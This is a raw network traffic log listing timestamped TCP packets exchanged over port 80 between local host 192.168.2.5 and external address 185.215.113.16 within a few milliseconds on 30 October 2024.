Oct 30, 2024 00:21:25.000020981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000020981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000036955 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000049114 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000051022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000051022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000063896 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000078917 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000082970 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000082970 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000093937 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000112057 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000122070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000147104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000344992 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000360012 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000381947 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000390053 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000397921 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000411034 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000411987 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000427008 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000442982 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000523090 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000614882 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000685930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000695944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000713110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000745058 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000745058 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000775099 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000791073 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000806093 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000827074 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000827074 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.000853062 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002155066 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002170086 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002185106 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002216101 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002233982 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002242088 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002242088 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002262115 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002295017 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002362013 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002377987 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002392054 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002405882 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002415895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002429008 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002444029 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002458096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002473116 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002476931 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002476931 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002497911 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002512932 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002516031 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002516031 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002535105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002547026 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002548933 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002563953 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002568960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002568960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002578974 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002584934 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002599955 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002600908 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002624035 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002638102 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002639055 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002654076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002671003 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002682924 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002686977 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002702951 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002710104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002710104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002720118 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002729893 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002754927 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002785921 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002820969 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002835989 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002865076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002876043 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002876997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002881050 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002896070 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002912998 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002919912 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002928019 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002929926 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.002942085 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002958059 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002974033 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002988100 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.002994061 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003002882 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003016949 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003031015 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003031969 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003032923 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003062963 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003077030 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003084898 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003084898 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003091097 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003106117 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003114939 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003115892 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003123045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003139019 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003139973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003154039 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003187895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003187895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003207922 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003222942 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003236055 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003249884 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003264904 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003269911 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003269911 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003278971 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003294945 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003310919 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003336906 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003336906 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003339052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003353119 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003369093 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003382921 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003393888 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003393888 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003411055 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003422022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003422022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003424883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003439903 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003453970 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003456116 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003456116 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003469944 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003479958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003487110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003506899 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003506899 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003510952 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003525972 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003534079 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003540039 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003551960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003551960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003555059 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003571033 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003578901 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003587961 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003607035 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003607035 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003624916 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003720045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003734112 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003748894 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003761053 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003771067 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003782988 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003798008 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003809929 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003809929 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003813982 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003829002 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003843069 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003849030 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003849030 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003859043 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003859997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003873110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003878117 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003889084 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003904104 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003911018 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003911018 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003920078 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003921032 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003935099 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003951073 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003958941 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003958941 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003966093 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003982067 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.003983021 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.003998041 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004007101 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004007101 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004018068 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004026890 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004041910 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004064083 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004064083 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004069090 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004081964 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004084110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004098892 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004115105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004121065 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004121065 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004142046 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004153013 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004153013 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004157066 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004172087 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004179001 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004187107 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004189968 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004203081 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004204035 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004218102 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004232883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004237890 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004261971 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004261971 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004296064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004309893 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004334927 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004334927 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004334927 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004337072 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004352093 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004367113 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004375935 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004383087 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004398108 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004403114 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004403114 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004411936 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004426956 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004431963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004431963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004467010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004467010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004513979 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004528999 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.004561901 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.004561901 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005054951 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005069971 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005084991 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005109072 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005115986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005115986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005115986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005126953 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005143881 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005146027 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005156994 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005162001 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005177975 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005194902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005194902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005212069 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005223036 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005238056 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005253077 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005273104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005273104 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005300999 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005434036 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005448103 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005461931 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005477905 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005491972 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005496979 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005496979 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005496979 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005506992 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005508900 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005515099 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005528927 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005534887 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005543947 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005558014 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005561113 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005585909 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005600929 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005604982 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005604982 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005614996 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005618095 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005631924 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005646944 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005650043 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005650043 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005661011 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005676031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005686998 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005686998 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005692005 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005721092 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005733013 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005733013 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005736113 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005749941 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005749941 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005764961 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005776882 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005780935 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005795956 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005806923 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005806923 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005812883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005825043 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005830050 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005840063 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005846024 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005860090 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005868912 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005868912 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005876064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005893946 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005893946 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005948067 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.005966902 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.005991936 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006006956 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006022930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006028891 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006028891 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006040096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006046057 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006056070 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006071091 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006074905 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006074905 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006099939 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006103992 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.006134033 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:25.006134033 CET	59797	80	192.168.2.5	185.215.113.16
